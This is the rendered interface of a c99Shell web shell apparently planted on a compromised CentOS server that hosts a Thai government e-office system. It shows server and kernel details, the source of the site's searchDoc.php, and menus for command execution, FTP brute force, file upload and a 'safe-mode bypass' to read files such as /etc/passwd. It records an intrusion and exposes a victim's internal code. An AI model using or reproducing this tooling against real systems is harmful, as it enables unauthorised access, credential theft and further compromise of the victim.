!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 52.23 GB of 127.8 GB (40.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchDoc.php (2.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC); 
$oDlc = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$InputThai=$oSys->SearchByInputThai();

if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";
?>
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend>ค้นหาหนังสือ
    </legend>
        <form name="ff" action="printRepSearchDoc.php" METHOD="POST">
        <table width="85%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
        <tr><td>&nbsp;</td></tr>
        <tr><td colspan="6"><font color="<?php echo $GLOBALS["COLOR_FONT_2"]; ?>" size="2"><strong>ค้นหาหนังสือราชการที่ต้องการเฉพาะเรื่อง</strong></font></td></tr>
        <tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;</td><td colspan="4">ใส่ที่หนังสือที่ต้องการค้นหา : <input name="searchNo" id="searchNo"  type="text" size="20"></td></tr>     
        <tr><td width="1%">&nbsp;</td><td width="2%" >&nbsp;</td><td colspan="4">ใส่ชื่อเรื่องหนังสือราชการที่ต้องการค้นหา :&nbsp;<input name="searchDocSubject" id="searchDocSubject"  type="text" size="30"></td></tr>    
        <tr><td colspan="6"><hr color="#000099"></hr></td></tr> 
        <tr><td colspan="6" align="right"><input name="s" type="submit" value="ค้นหา" onClick="return sendPage()"></td></tr>
        </table>
         </form></fieldset> 
          <table width="100%" border="0" align="center">
        <tr> 
          <td width="136" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="1109" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">
           1. ไม่ต้องใส่ชื่อเต็มทั้งหมด</font></td>
        </tr>
        <tr> 
          <td width="136">&nbsp;</td>
          <td width="1109" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">
          2. ใส่เฉพาะบางคำ ให้ระบบช่วยค้นหาได้</font></td>
        </tr>
        </table>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>    
<script language="javascript"> 
function sendPage() {
    if(document.getElementById( 'searchNo' ).value=="" && document.getElementById( 'searchDocSubject' ).value==""){
        alert("กรุณากรอกเงื่อนไขในการค้นหาหนังสือ");
        return false;
    }
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--